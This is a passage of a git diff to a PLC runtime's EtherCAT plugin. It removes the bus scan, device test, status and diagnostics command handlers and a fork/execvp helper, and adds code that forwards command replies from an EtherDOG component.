stop_single_master(&g_masters[i]); - } - - plugin_logger_info(&g_logger, "All EtherCAT masters stopped"); -} - -/** - * @brief Cleanup plugin resources - */ -void cleanup(void) -{ - plugin_logger_info(&g_logger, "Cleaning up EtherCAT plugin..."); - - for (int i = 0; i < g_master_count; i++) { - ecat_master_instance_t *inst = &g_masters[i]; - int state = atomic_load(&inst->plugin_state); - if (state != ECAT_STATE_STOPPED && state != ECAT_STATE_IDLE) { - stop_single_master(inst); - } - pthread_mutex_destroy(&inst->slaves_mutex); -#if ECAT_ENABLE_MONITOR_THREAD - pthread_mutex_destroy(&inst->soem_lock); -#endif - } - - free(g_masters); - g_masters = NULL; - g_master_count = 0; - - plugin_logger_info(&g_logger, "EtherCAT plugin cleanup complete"); -} - -/* Note: the legacy `cycle_start` / `cycle_end` plugin entry points - * have been removed. Bus timing is now owned by the per-master - * `ecat_bus_thread`, ticking absolutely at master.cycle_time_us under - * SCHED_FIFO. The plugin driver loads the .so via dlsym and tolerates - * missing cycle hooks (logged as "(optional)" at startup), so dropping - * the symbols is a no-op for the loader. */ - -/* - * ============================================================================= - * Async Command Handling (execute_command) - * ============================================================================= - */ - -/** - * @brief Validate a network interface name for safe use in SOEM calls. - * - * Accepts Linux names (e.g. "eth0") and Windows NPF device paths - * (e.g. "\\Device\\NPF_{GUID}"). Writes a JSON error to @p response - * on failure. - * - * @return 0 if valid, -1 if invalid (response already filled) - */ -static int validate_interface_name(const char *ifname, char *response, size_t response_size) -{ - size_t ifname_len = strlen(ifname); - if (ifname_len == 0 || ifname_len >= ECAT_IFNAME_MAX) { - snprintf(response, response_size, "{\"error\":\"invalid interface name length\"}"); - return -1; - } - if (!ecat_iface_validate(ifname, ECAT_IFACE_ANY_PLATFORM)) { - snprintf(response, response_size, "{\"error\":\"invalid interface name format\"}"); - return -1; - } - return 0; -} - -/** - * @brief Check if any master is actively running on the bus - * - * Used by scan/test commands to refuse operation while masters are active. - */ -static bool any_master_active(void) -{ - for (int i = 0; i < g_master_count; i++) { - int state = atomic_load(&g_masters[i].plugin_state); - if (state == ECAT_STATE_OPERATIONAL || state == ECAT_STATE_RECOVERING || - state == ECAT_STATE_TRANSITIONING) { - return true; - } - } - return false; -} - -/** - * @brief Handle the "scan" command using a temporary SOEM context - * - * Creates a separate ecx_contextt (not the master's context) to scan - * the bus for slaves. This allows scanning even when the master is not running. - */ -static int handle_scan_command(cJSON *root, char *response, size_t response_size) -{ - cJSON *params = cJSON_GetObjectItemCaseSensitive(root, "params"); - cJSON *iface = params ? cJSON_GetObjectItemCaseSensitive(params, "interface") : NULL; - - if (!iface || !cJSON_IsString(iface)) { - snprintf(response, response_size, "{\"error\":\"missing 'interface' param\"}"); - return -1; - } - - if (validate_interface_name(iface->valuestring, response, response_size) != 0) - return -1; - - /* Refuse scan while any master is actively running on the bus */ - if (any_master_active()) { - snprintf(response, response_size, - "{\"error\":\"EtherCAT master is running. Stop the PLC before scanning.\"}"); - return -1; - } - - /* Temporary SOEM context for scan (independent from master contexts) */ - ecx_contextt scan_ctx; - memset(&scan_ctx, 0, sizeof(scan_ctx)); - - if (!ecx_init(&scan_ctx, iface->valuestring)) { - snprintf(response, response_size, - "{\"error\":\"Failed to open interface '%s'\"}", iface->valuestring); - return -1; - } - - int slave_count = ecx_config_init(&scan_ctx); - if (slave_count <= 0) { - ecx_close(&scan_ctx); - snprintf(response, response_size, - "{\"status\":\"success\",\"devices\":[],\"message\":\"No slaves found\",\"slave_count\":0}"); - return 0; - } - - /* Build JSON response with discovered slaves */ - cJSON *resp = cJSON_CreateObject(); - cJSON_AddStringToObject(resp, "status", "success"); - cJSON *devices = cJSON_AddArrayToObject(resp, "devices"); - - for (int i = 1; i <= scan_ctx.slavecount; i++) { - ec_slavet *s = &scan_ctx.slavelist[i]; - cJSON *dev = cJSON_CreateObject(); - cJSON_AddNumberToObject(dev, "position", i); - cJSON_AddStringToObject(dev, "name", s->name); - cJSON_AddNumberToObject(dev, "vendor_id", s->eep_man); - cJSON_AddNumberToObject(dev, "product_code", s->eep_id); - cJSON_AddNumberToObject(dev, "revision", s->eep_rev); - cJSON_AddNumberToObject(dev, "serial_number", s->eep_ser); - cJSON_AddStringToObject(dev, "state", "UNKNOWN"); - cJSON_AddNumberToObject(dev, "al_status_code", 0); - cJSON_AddBoolToObject(dev, "has_coe", (s->mbx_proto & 0x04) != 0); - cJSON_AddNumberToObject(dev, "input_bytes", 0); - cJSON_AddNumberToObject(dev, "output_bytes", 0); - cJSON_AddItemToArray(devices, dev); - } - - char msg[128]; - snprintf(msg, sizeof(msg), "Found %d EtherCAT slave(s)", scan_ctx.slavecount); - cJSON_AddStringToObject(resp, "message", msg); - cJSON_AddNumberToObject(resp, "slave_count", scan_ctx.slavecount); - - char *json_str = cJSON_PrintUnformatted(resp); - if (json_str) { - snprintf(response, response_size, "%s", json_str); - free(json_str); - } - cJSON_Delete(resp); - - ecx_close(&scan_ctx); - return 0; -} - -/** - * @brief Handle the "list-interfaces" command - * - * Uses ec_find_adapters() from SOEM to enumerate network adapters. - * Does not require a SOEM context or bus access. - */ -static int handle_list_interfaces_command(char *response, size_t response_size) -{ - ec_adaptert *adapters = ec_find_adapters(); - - cJSON *resp = cJSON_CreateObject(); - cJSON_AddStringToObject(resp, "status", "success"); - cJSON *ifaces = cJSON_AddArrayToObject(resp, "interfaces"); - - int count = 0; - for (ec_adaptert *a = adapters; a != NULL; a = a->next) { - cJSON *entry = cJSON_CreateObject(); - cJSON_AddStringToObject(entry, "name", a->name); - cJSON_AddStringToObject(entry, "description", a->desc); - cJSON_AddItemToArray(ifaces, entry); - count++; - } - - char msg[64]; - snprintf(msg, sizeof(msg), "Found %d network interface(s)", count); - cJSON_AddStringToObject(resp, "message", msg); - - char *json_str = cJSON_PrintUnformatted(resp); - if (json_str) { - snprintf(response, response_size, "%s", json_str); - free(json_str); - } - cJSON_Delete(resp); - ec_free_adapters(adapters); - - return 0; -} - -/** - * @brief Handle the "test" command using a temporary SOEM context - * - * Creates a separate ecx_contextt to scan the bus and return info about - * the slave at the requested position. Used by the Editor to test - * connectivity to a specific device. - */ -static int handle_test_command(cJSON *root, char *response, size_t response_size) -{ - cJSON *params = cJSON_GetObjectItemCaseSensitive(root, "params"); - cJSON *iface = params ? cJSON_GetObjectItemCaseSensitive(params, "interface") : NULL; - cJSON *pos = params ? cJSON_GetObjectItemCaseSensitive(params, "position") : NULL; - - if (!iface || !cJSON_IsString(iface)) { - snprintf(response, response_size, "{\"error\":\"missing 'interface' param\"}"); - return -1; - } - if (!pos || !cJSON_IsNumber(pos)) { - snprintf(response, response_size, "{\"error\":\"missing 'position' param\"}"); - return -1; - } - - int position = pos->valueint; - if (position < 1) { - snprintf(response, response_size, "{\"error\":\"'position' must be a positive integer\"}"); - return -1; - } - - if (validate_interface_name(iface->valuestring, response, response_size) != 0) - return -1; - - /* Refuse test while any master is actively running on the bus */ - if (any_master_active()) { - snprintf(response, response_size, - "{\"error\":\"EtherCAT master is running. Stop the PLC before testing.\"}"); - return -1; - } - - ecx_contextt test_ctx; - memset(&test_ctx, 0, sizeof(test_ctx)); - - if (!ecx_init(&test_ctx, iface->valuestring)) { - snprintf(response, response_size, - "{\"error\":\"Failed to open interface '%s'\"}", iface->valuestring); - return -1; - } - - int slave_count = ecx_config_init(&test_ctx); - if (slave_count <= 0) { - ecx_close(&test_ctx); + size_t len = strlen(reply); + if (len >= response_size) { snprintf(response, response_size, - "{\"status\":\"success\",\"connected\":false,\"device\":null," - "\"message\":\"No EtherCAT slaves found on the network\"}"); - return 0; - } - - if (position > test_ctx.slavecount) { - char errmsg[128]; - snprintf(errmsg, sizeof(errmsg), - "No device at position %d. Found %d slave(s).", - position, test_ctx.slavecount); - ecx_close(&test_ctx); - snprintf(response, response_size, - "{\"status\":\"error\",\"connected\":false,\"device\":null," - "\"message\":\"%s\"}", errmsg); - return -1; - } - - ec_slavet *s = &test_ctx.slavelist[position]; - - cJSON *resp = cJSON_CreateObject(); - cJSON_AddStringToObject(resp, "status", "success"); - cJSON_AddBoolToObject(resp, "connected", 1); - - cJSON *dev = cJSON_CreateObject(); - cJSON_AddNumberToObject(dev, "position", position); - cJSON_AddStringToObject(dev, "name", s->name); - cJSON_AddNumberToObject(dev, "vendor_id", s->eep_man); - cJSON_AddNumberToObject(dev, "product_code", s->eep_id); - cJSON_AddNumberToObject(dev, "revision", s->eep_rev); - cJSON_AddNumberToObject(dev, "serial_number", s->eep_ser); - cJSON_AddStringToObject(dev, "state", "UNKNOWN"); - cJSON_AddNumberToObject(dev, "al_status_code", 0); - cJSON_AddBoolToObject(dev, "has_coe", (s->mbx_proto & 0x04) != 0); - cJSON_AddNumberToObject(dev, "input_bytes", 0); - cJSON_AddNumberToObject(dev, "output_bytes", 0); - cJSON_AddItemToObject(resp, "device", dev); - - char msg[128]; - snprintf(msg, sizeof(msg), - "Successfully connected to %s at position %d", s->name, position); - cJSON_AddStringToObject(resp, "message", msg); - - char *json_str = cJSON_PrintUnformatted(resp); - if (json_str) { - snprintf(response, response_size, "%s", json_str); - free(json_str); - } - cJSON_Delete(resp); - - ecx_close(&test_ctx); - return 0; -} - -/** - * @brief Local view of cycle diag values, already converted ns -> us. - * - * Used only by the JSON builders to avoid repeating the same atomic_load - * sequence twice. Cross-field tearing is acceptable for diagnostics. - */ -typedef struct { - uint64_t cycle_count; - uint64_t wkc_error_count; - uint64_t noframe_count; - uint64_t avg_cycle_us; - uint64_t min_cycle_us; - uint64_t max_cycle_us; - uint64_t min_exchange_us; - uint64_t max_exchange_us; - /* Scheduling: how well the bus thread is being scheduled. - * period_us — observed time between cycle starts (target = - * configured cycle_us on a healthy RT system) - * latency_us — wake-up delay vs clock_nanosleep deadline; spikes - * point at OS jitter, not bus or PLC issues. */ - int64_t avg_period_us; - int64_t max_period_us; - int64_t min_period_us; - int64_t avg_latency_us; - int64_t max_latency_us; - int64_t min_latency_us; -} ecat_diag_view_t; - -static void load_diag_view(const ecat_master_instance_t *inst, - ecat_diag_view_t *out) -{ - out->cycle_count = atomic_load_explicit(&inst->diag.cycle_count, - memory_order_relaxed); - out->wkc_error_count = atomic_load_explicit(&inst->diag.wkc_error_count, - memory_order_relaxed); - out->noframe_count = atomic_load_explicit(&inst->diag.noframe_count, - memory_order_relaxed); - - /* Time-based EWMA: divide the stored sum by the master's avg_window - * to recover the moving average. Single bus_cycle_ns measurement - * is exposed under both legacy names (avg/min/max_cycle_us and - * min/max_exchange_us) for JSON compatibility with the Editor. */ - int64_t window = inst->avg_window > 0 ? inst->avg_window : 1; - - int64_t bus_sum = atomic_load_explicit(&inst->diag.avg_bus_cycle_ns_sum, - memory_order_relaxed); - out->avg_cycle_us = (uint64_t)((bus_sum / window) / 1000); - - uint64_t min_bcn = atomic_load_explicit(&inst->diag.min_bus_cycle_ns, - memory_order_relaxed); - uint64_t max_bcn = atomic_load_explicit(&inst->diag.max_bus_cycle_ns, - memory_order_relaxed); - uint64_t min_us = (min_bcn == UINT64_MAX) ? 0 : min_bcn / 1000; - uint64_t max_us = max_bcn / 1000; - - out->min_cycle_us = min_us; - out->max_cycle_us = max_us; - out->min_exchange_us = min_us; - out->max_exchange_us = max_us; - - /* Scheduling stats — captured by the bus thread itself. */ - int64_t per_sum = atomic_load_explicit(&inst->diag.avg_period_ns_sum, - memory_order_relaxed); - uint64_t min_per_ns = atomic_load_explicit(&inst->diag.min_period_ns, - memory_order_relaxed); - uint64_t max_per_ns = atomic_load_explicit(&inst->diag.max_period_ns, - memory_order_relaxed); - int64_t lat_sum = atomic_load_explicit(&inst->diag.avg_latency_ns_sum, - memory_order_relaxed); - int64_t min_lat_ns = atomic_load_explicit(&inst->diag.min_latency_ns, - memory_order_relaxed); - int64_t max_lat_ns = atomic_load_explicit(&inst->diag.max_latency_ns, - memory_order_relaxed); - - out->avg_period_us = (per_sum / window) / 1000; - out->max_period_us = (int64_t)(max_per_ns / 1000); - out->min_period_us = (min_per_ns == UINT64_MAX) ? 0 - : (int64_t)(min_per_ns / 1000); - out->avg_latency_us = (lat_sum / window) / 1000; - out->max_latency_us = max_lat_ns / 1000; - out->min_latency_us = (min_lat_ns == INT64_MAX) ? 0 : min_lat_ns / 1000; -} - -/** - * @brief Add a "slaves" JSON array using the published slaves_snapshot. - * - * @param diagnostics Include extra fields (al_state_raw) when true. - */ -static void add_slaves_json(ecat_master_instance_t *inst, cJSON *master, - int *out_count, bool diagnostics) -{ - ecat_slave_status_t local[ECAT_MAX_SLAVES]; - int n; - - pthread_mutex_lock(&inst->slaves_mutex); - n = inst->slaves_snapshot_count; - if (n > ECAT_MAX_SLAVES) - n = ECAT_MAX_SLAVES; - memcpy(local, inst->slaves_snapshot, sizeof(local)); - pthread_mutex_unlock(&inst->slaves_mutex); - - *out_count = n; - - cJSON *slaves = cJSON_AddArrayToObject(master, "slaves"); - for (int i = 0; i < n; i++) { - const ecat_slave_status_t *ss = &local[i]; - cJSON *slave = cJSON_CreateObject(); - cJSON_AddNumberToObject(slave, "position", ss->position); - cJSON_AddStringToObject(slave, "name", ss->name); - cJSON_AddStringToObject(slave, "state", al_state_to_string(ss->al_state)); - if (diagnostics) - cJSON_AddNumberToObject(slave, "al_state_raw", ss->al_state); - cJSON_AddNumberToObject(slave, "al_status_code", ss->al_status_code); - cJSON_AddNumberToObject(slave, "error_count", ss->error_count); - cJSON_AddBoolToObject(slave, "has_error", - (ss->al_state & EC_STATE_ERROR) != 0 || - ss->al_state != EC_STATE_OPERATIONAL); - cJSON_AddItemToArray(slaves, slave); - } -} - -/** - * @brief Build a JSON object for a single master's status. - * - * Reads counters/timing lock-free from inst->diag (atomic), and the - * per-slave snapshot under slaves_mutex. No interaction with the PLC - * thread's hot path. - */ -static cJSON *build_master_status_json(ecat_master_instance_t *inst) -{ - ecat_plugin_state_t state = - (ecat_plugin_state_t)atomic_load(&inst->plugin_state); - int consecutive_wkc = atomic_load(&inst->consecutive_wkc_errors); - int recovery_attempts = atomic_load(&inst->recovery_attempts); -#if ECAT_ENABLE_MONITOR_THREAD - uint64_t exchange_skips = atomic_load(&inst->exchange_skips); -#else - uint64_t exchange_skips = 0; -#endif - - ecat_diag_view_t diag; - load_diag_view(inst, &diag); - - cJSON *master = cJSON_CreateObject(); - cJSON_AddStringToObject(master, "name", inst->name); - cJSON_AddStringToObject(master, "plugin_state", ecat_state_to_string(state)); - cJSON_AddNumberToObject(master, "expected_wkc", inst->expected_wkc); - - int slave_count = 0; - add_slaves_json(inst, master, &slave_count, false); - cJSON_AddNumberToObject(master, "slave_count", slave_count); - - /* Cycle metrics — work-window (cycle/exchange) and scheduling - * (period/latency). See build_master_diagnostics_json for the - * definitions; both shapes carry the same keys so the editor can - * render them through a single code path. */ - cJSON *metrics = cJSON_CreateObject(); - cJSON_AddNumberToObject(metrics, "cycle_count", (double)diag.cycle_count); - cJSON_AddNumberToObject(metrics, "wkc_error_count", (double)diag.wkc_error_count); - cJSON_AddNumberToObject(metrics, "noframe_count", (double)diag.noframe_count); - cJSON_AddNumberToObject(metrics, "avg_cycle_us", (double)diag.avg_cycle_us); - cJSON_AddNumberToObject(metrics, "min_cycle_us", (double)diag.min_cycle_us); - cJSON_AddNumberToObject(metrics, "max_cycle_us", (double)diag.max_cycle_us); - cJSON_AddNumberToObject(metrics, "min_exchange_us", (double)diag.min_exchange_us); - cJSON_AddNumberToObject(metrics, "max_exchange_us", (double)diag.max_exchange_us); - cJSON_AddNumberToObject(metrics, "avg_period_us", (double)diag.avg_period_us); - cJSON_AddNumberToObject(metrics, "max_period_us", (double)diag.max_period_us); - cJSON_AddNumberToObject(metrics, "min_period_us", (double)diag.min_period_us); - cJSON_AddNumberToObject(metrics, "avg_latency_us", (double)diag.avg_latency_us); - cJSON_AddNumberToObject(metrics, "max_latency_us", (double)diag.max_latency_us); - cJSON_AddNumberToObject(metrics, "min_latency_us", (double)diag.min_latency_us); - cJSON_AddNumberToObject(metrics, "consecutive_wkc_errors", consecutive_wkc); - cJSON_AddNumberToObject(metrics, "recovery_attempts", recovery_attempts); - cJSON_AddNumberToObject(metrics, "exchange_skips", (double)exchange_skips); - cJSON_AddItemToObject(master, "metrics", metrics); - - return master; -} - -/** - * @brief Handle the "status" command - * - * Returns a snapshot of all masters' status via the "masters" array. - */ -static int handle_status_command(char *response, size_t response_size) -{ - cJSON *resp = cJSON_CreateObject(); - - cJSON *masters_arr = cJSON_AddArrayToObject(resp, "masters"); - for (int i = 0; i < g_master_count; i++) { - cJSON_AddItemToArray(masters_arr, build_master_status_json(&g_masters[i])); - } - - char *json_str = cJSON_PrintUnformatted(resp); - if (json_str) { - snprintf(response, response_size, "%s", json_str); - free(json_str); - } - cJSON_Delete(resp); - - return 0; -} - -/** - * @brief Build a JSON object for a single master's diagnostics. - */ -static cJSON *build_master_diagnostics_json(ecat_master_instance_t *inst) -{ - ecat_plugin_state_t state = - (ecat_plugin_state_t)atomic_load(&inst->plugin_state); - int consecutive_wkc = atomic_load(&inst->consecutive_wkc_errors); - int recovery_attempts = atomic_load(&inst->recovery_attempts); -#if ECAT_ENABLE_MONITOR_THREAD - uint64_t exchange_skips = atomic_load(&inst->exchange_skips); -#else - uint64_t exchange_skips = 0; -#endif - - ecat_diag_view_t diag; - load_diag_view(inst, &diag); - - cJSON *master = cJSON_CreateObject(); - cJSON_AddStringToObject(master, "name", inst->name); - cJSON_AddStringToObject(master, "plugin_state", ecat_state_to_string(state)); - cJSON_AddNumberToObject(master, "expected_wkc", inst->expected_wkc); - - int slave_count = 0; - add_slaves_json(inst, master, &slave_count, true); - cJSON_AddNumberToObject(master, "slave_count", slave_count); - - /* Timing metrics, two distinct categories: - * - * work-window (avg/max_cycle_us, max_exchange_us): how much time - * the bus thread spends actually working per cycle. Tells you - * whether the configured cycle period is sufficient to fit the - * SOEM round-trip plus the two mutex-protected memcpys. - * - * scheduling (avg/max/min_period_us, avg/max/min_latency_us): - * how well the bus thread is being scheduled. period_us is - * the observed time between cycle starts (should equal - * configured_cycle_us on average); latency_us is the - * wake-up delay from clock_nanosleep's deadline. Spikes here - * point at OS scheduling jitter, not bus or PLC issues. - */ - cJSON *timing = cJSON_CreateObject(); - cJSON_AddNumberToObject(timing, "cycle_count", (double)diag.cycle_count); - cJSON_AddNumberToObject(timing, "wkc_error_count", (double)diag.wkc_error_count); - cJSON_AddNumberToObject(timing, "noframe_count", (double)diag.noframe_count); - cJSON_AddNumberToObject(timing, "avg_cycle_us", (double)diag.avg_cycle_us); - cJSON_AddNumberToObject(timing, "min_cycle_us", (double)diag.min_cycle_us); - cJSON_AddNumberToObject(timing, "max_cycle_us", (double)diag.max_cycle_us); - cJSON_AddNumberToObject(timing, "min_exchange_us", (double)diag.min_exchange_us); - cJSON_AddNumberToObject(timing, "max_exchange_us", (double)diag.max_exchange_us); - cJSON_AddNumberToObject(timing, "avg_period_us", (double)diag.avg_period_us); - cJSON_AddNumberToObject(timing, "max_period_us", (double)diag.max_period_us); - cJSON_AddNumberToObject(timing, "min_period_us", (double)diag.min_period_us); - cJSON_AddNumberToObject(timing, "avg_latency_us", (double)diag.avg_latency_us); - cJSON_AddNumberToObject(timing, "max_latency_us", (double)diag.max_latency_us); - cJSON_AddNumberToObject(timing, "min_latency_us", (double)diag.min_latency_us); - cJSON_AddNumberToObject(timing, "configured_cycle_us", - inst->config.master.cycle_time_us); - cJSON_AddNumberToObject(timing, "receive_timeout_us", inst->receive_timeout_us); - cJSON_AddItemToObject(master, "timing", timing); - - /* Recovery info */ - cJSON *recovery = cJSON_CreateObject(); - cJSON_AddNumberToObject(recovery, "consecutive_wkc_errors", consecutive_wkc); - cJSON_AddNumberToObject(recovery, "recovery_attempts", recovery_attempts); - cJSON_AddNumberToObject(recovery, "max_recovery_attempts", ECAT_MAX_RECOVERY_ATTEMPTS); - cJSON_AddNumberToObject(recovery, "wkc_error_threshold", ECAT_WKC_ERROR_THRESHOLD); - cJSON_AddNumberToObject(recovery, "exchange_skips", (double)exchange_skips); - cJSON_AddNumberToObject(recovery, "writestate_failures", - (double)atomic_load(&inst->recovery_writestate_failures)); - cJSON_AddItemToObject(master, "recovery", recovery); - - /* Master configuration */ - cJSON *master_cfg = cJSON_CreateObject(); - cJSON_AddStringToObject(master_cfg, "interface", inst->config.master.interface); - cJSON_AddNumberToObject(master_cfg, "cycle_time_us", - inst->config.master.cycle_time_us); - cJSON_AddNumberToObject(master_cfg, "watchdog_timeout_cycles", - inst->config.master.watchdog_timeout_cycles); - cJSON_AddItemToObject(master, "master_config", master_cfg); - - return master; -} - -/** - * @brief Handle the "diagnostics" command - * - * Returns detailed diagnostic information for all masters via the "masters" array. - */ -static int handle_diagnostics_command(char *response, size_t response_size) -{ - cJSON *resp = cJSON_CreateObject(); - - cJSON *masters_arr = cJSON_AddArrayToObject(resp, "masters"); - for (int i = 0; i < g_master_count; i++) { - cJSON_AddItemToArray(masters_arr, - build_master_diagnostics_json(&g_masters[i])); - } - - char *json_str = cJSON_PrintUnformatted(resp); - if (json_str) { - snprintf(response, response_size, "%s", json_str); - free(json_str); - } - cJSON_Delete(resp); - - return 0; -} - -/** - * @brief Execute an async command routed from the unix socket - */ -int execute_command(const char *command_json, char *response, size_t response_size) -{ - cJSON *root = cJSON_Parse(command_json); - if (!root) { - snprintf(response, response_size, "{\"error\":\"invalid JSON\"}"); - return -1; - } - - cJSON *cmd = cJSON_GetObjectItemCaseSensitive(root, "command"); - if (!cmd || !cJSON_IsString(cmd)) { - cJSON_Delete(root); - snprintf(response, response_size, "{\"error\":\"missing 'command' field\"}"); + "{\"error\":\"EtherDOG reply is %zu bytes, larger than the %zu-byte buffer\"}", + len, response_size); + free(reply); return -1; } - - int result = -1; - if (strcmp(cmd->valuestring, "scan") == 0) { - result = handle_scan_command(root, response, response_size); - } else if (strcmp(cmd->valuestring, "list-interfaces") == 0) { - result = handle_list_interfaces_command(response, response_size); - } else if (strcmp(cmd->valuestring, "test") == 0) { - result = handle_test_command(root, response, response_size); - } else if (strcmp(cmd->valuestring, "status") == 0) { - result = handle_status_command(response, response_size); - } else if (strcmp(cmd->valuestring, "diagnostics") == 0) { - result = handle_diagnostics_command(response, response_size); - } else { - snprintf(response, response_size, "{\"error\":\"unknown command '%s'\"}", cmd->valuestring); - } - - cJSON_Delete(root); - return result; + memcpy(response, reply, len + 1); + free(reply); + return strstr(response, "\"error\"") != NULL ? -1 : 0; } diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.h b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.h deleted file mode 100644 index d9b3da7a..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.h +++ /dev/null @@ -1,106 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_plugin.h - * @brief EtherCAT Plugin Interface for OpenPLC Runtime v4 - * - * This plugin implements an EtherCAT master using the SOEM library. - * It reads the EtherCAT configuration JSON generated by the OpenPLC Editor, - * initializes the SOEM master, validates the bus topology against the - * expected configuration, and manages process data exchange with slaves. - * - * Plugin lifecycle: - * init() -> Load config, initialize logger [state: IDLE] - * start_loop() -> Scan bus, write SDOs, map PDOs, transition to OP [state: OPERATIONAL] - * cycle_start() -> Exchange process data, read inputs into PLC buffers - * cycle_end() -> (no-op, outputs written at start of next cycle) - * stop_loop() -> Close master [state: STOPPED] - * cleanup() -> Free resources - * - * Architecture: - * Process data exchange runs synchronously inside the PLC scan cycle - * via the cycle_start() hook. The bus cycle is fully synchronized with - * the PLC base tick. - * - * A background monitor thread (enabled by ECAT_ENABLE_MONITOR_THREAD) - * handles slave state checking and recovery outside the scan cycle. - * PLC thread and monitor thread serialize SOEM access via a per-instance - * pthread_mutex (soem_lock) initialized with PRIO_INHERIT. The PLC - * uses pthread_mutex_trylock and skips a cycle (stale I/O data, no - * blocking) whenever the monitor is currently holding the lock. - * - * State machine: STOPPED -> IDLE -> SCANNING -> CONFIGURING -> - * TRANSITIONING -> OPERATIONAL <-> RECOVERING -> ERROR - * - * Commands: "scan", "status", "diagnostics" - */ - -#ifndef ETHERCAT_PLUGIN_H -#define ETHERCAT_PLUGIN_H - -/** - * @brief Initialize the EtherCAT plugin - * - * Copies runtime args, initializes logger, loads and parses JSON config. - * - * @param args Pointer to plugin_runtime_args_t (freed after init returns) - * @return 0 on success, -1 on failure - */ -int init(void *args); - -/** - * @brief Start the EtherCAT master - * - * Initializes SOEM, scans the bus, validates topology, writes SDOs, - * maps PDOs, and transitions slaves to operational state. - * - * @return 0 on success, -1 on failure - */ -int start_loop(void); - -/** - * @brief Stop the EtherCAT master - * - * Transitions all slaves to INIT state and closes the network interface. - */ -void stop_loop(void); - -/** - * @brief Cleanup plugin resources - */ -void cleanup(void); - -/** - * @brief Called at the start of each PLC scan cycle - * - * Performs synchronous EtherCAT process data exchange: - * writes outputs from the previous cycle, exchanges with slaves, - * and reads fresh inputs into PLC buffers. - */ -void cycle_start(void); - -/** - * @brief Called at the end of each PLC scan cycle - * - * No-op. Outputs are written at the start of the next cycle_start() - * to be sent together with the exchange that receives fresh inputs. - */ -void cycle_end(void); - -/** - * @brief Execute an async command - * - * Supported commands: - * - "scan": Scan bus for slaves (uses temporary SOEM context) - * - "status": Return current master/slave status snapshot - * - "diagnostics": Return detailed timing and recovery diagnostics - * - * @param command_json JSON string with "command" and optional "params" fields - * @param response Buffer for JSON response - * @param response_size Size of response buffer - * @return 0 on success, -1 on error - */ -int execute_command(const char *command_json, char *response, size_t response_size); - -#endif /* ETHERCAT_PLUGIN_H */ diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_proc.c b/core/src/drivers/plugins/native/ethercat/ethercat_proc.c deleted file mode 100644 index f41a7750..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_proc.c +++ /dev/null @@ -1,96 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_proc.c - * @brief Process-spawn helpers for the EtherCAT plugin. - */ - -#include "ethercat_proc.h" - -#if !defined(__CYGWIN__) && !defined(_WIN32) - -#include -#include -#include -#include - -int ecat_run_argv(const char *bin, char *const argv[], - char *capture_buf, size_t capture_size) -{ - if (bin == NULL || argv == NULL) - return -1; - - int pipefd[2] = { -1, -1 }; - int capturing = (capture_buf != NULL && capture_size > 0); - if (capturing) { - if (pipe(pipefd) != 0) - return -1; - } - - pid_t pid = fork(); - if (pid < 0) { - if (capturing) { close(pipefd[0]); close(pipefd[1]); } - return -1; - } - - if (pid == 0) { - /* --- child --- */ - int devnull = open("/dev/null", O_WRONLY); - if (capturing) { - close(pipefd[0]); - if (pipefd[1] != STDOUT_FILENO) { - dup2(pipefd[1], STDOUT_FILENO); - close(pipefd[1]); - } - } else if (devnull >= 0) { - dup2(devnull, STDOUT_FILENO); - } - if (devnull >= 0) { - dup2(devnull, STDERR_FILENO); - if (devnull > STDERR_FILENO) - close(devnull); - } - execvp(bin, argv); - _exit(127); - } - - /* --- parent --- */ - if (capturing) { - close(pipefd[1]); - size_t total = 0; - while (total + 1 < capture_size) { - ssize_t n = read(pipefd[0], capture_buf + total, - capture_size - 1 - total); - if (n <= 0) - break; - total += (size_t)n; - } - capture_buf[total] = '\0'; - /* Drain any remaining output so the child does not block on a - * full pipe; we have already truncated to capture_size. */ - char drain[256]; - while (read(pipefd[0], drain, sizeof(drain)) > 0) - ; - close(pipefd[0]); - } - - int status = 0; - if (waitpid(pid, &status, 0) < 0) - return -1; - return WIFEXITED(status) ? WEXITSTATUS(status) : -1; -} - -#else /* MSYS2 / Cygwin / native Windows -- shell-out paths are not used */ - -int ecat_run_argv(const char *bin, char *const argv[], - char *capture_buf, size_t capture_size) -{ - (void)bin; - (void)argv; - (void)capture_buf; - (void)capture_size; - return -1; -} - -#endif diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_proc.h b/core/src/drivers/plugins/native/ethercat/ethercat_proc.h deleted file mode 100644 index 2e35dd35..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_proc.h +++ /dev/null @@ -1,49 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_proc.h - * @brief Process-spawn helpers for the EtherCAT plugin. - * - * Wraps fork+execvp so the plugin can invoke external binaries (ethtool) - * without going through a shell. Argv elements are passed verbatim to - * execvp, so user-controlled strings (e.g. the configured NIC interface - * name) cannot be reinterpreted as shell metacharacters. - */ - -#ifndef ETHERCAT_PROC_H -#define ETHERCAT_PROC_H - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Run an external binary with explicit argv via fork+execvp. - * - * No shell is involved. argv must be NULL-terminated; argv[0] is passed - * to the child as its argv[0] (conventionally equal to @p bin). - * - * Stderr in the child is always redirected to /dev/null. Stdout is either - * captured (if @p capture_buf is non-NULL) or also redirected to /dev/null. - * - * @param bin Binary name (resolved via PATH by execvp). - * @param argv NULL-terminated argument vector. - * @param capture_buf Optional buffer to receive child stdout, NUL-terminated. - * Output is truncated to @p capture_size - 1 bytes. - * @param capture_size Size of @p capture_buf. Ignored if buffer is NULL. - * - * @return Exit status of the child (0 on success, non-zero from the child - * such as 127 if execvp failed), or -1 if the parent could not - * spawn or wait. Always returns -1 on non-Linux platforms. - */ -int ecat_run_argv(const char *bin, char *const argv[], - char *capture_buf, size_t capture_size); - -#ifdef __cplusplus -} -#endif - -#endif /* ETHERCAT_PROC_H */ diff --git a/core/src/drivers/plugins/native/ethercat/etherdog_link.c b/core/src/drivers/plugins/native/ethercat/etherdog_link.c new file mode 100644 index 00000000..8e4eb0fc --- /dev/null +++ b/core/src/drivers/plugins/native/ethercat/etherdog_link.c @@ -0,0 +1,430 